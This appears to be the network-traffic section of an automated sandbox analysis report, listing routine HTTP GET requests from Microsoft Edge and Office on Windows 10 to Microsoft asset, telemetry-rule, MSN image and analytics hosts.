Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731796596343&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=23e58d4004444221bf7b7f0c48db369b&activityId=23e58d4004444221bf7b7f0c48db369b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; _EDGE_S=F=1&SID=3E75506006406AE53ED4455907F76B45; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCI.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1731796596344&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A9CD1F63BEE619E376CC4CF3AB960F7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3A9CD1F63BEE619E376CC4CF3AB960F7&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=f56ae9335e1e43cad42e18405fa11e88 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; _EDGE_S=F=1&SID=3E75506006406AE53ED4455907F76B45; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731796596344&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3A9CD1F63BEE619E376CC4CF3AB960F7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=196b95a879464e5fdc368321731796598; XID=196b95a879464e5fdc368321731796598
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3A9CD1F63BEE619E376CC4CF3AB960F7&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=d8b48f94fad945c2e6587f66542872b4 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; _EDGE_S=F=1&SID=3E75506006406AE53ED4455907F76B45; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731796596343&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=23e58d4004444221bf7b7f0c48db369b&activityId=23e58d4004444221bf7b7f0c48db369b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C0413994AE0643EF83A72DA4CEFB3510&MUID=3A9CD1F63BEE619E376CC4CF3AB960F7 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3A9CD1F63BEE619E376CC4CF3AB960F7; _EDGE_S=F=1&SID=3E75506006406AE53ED4455907F76B45; _EDGE_V=1; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msIAw.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
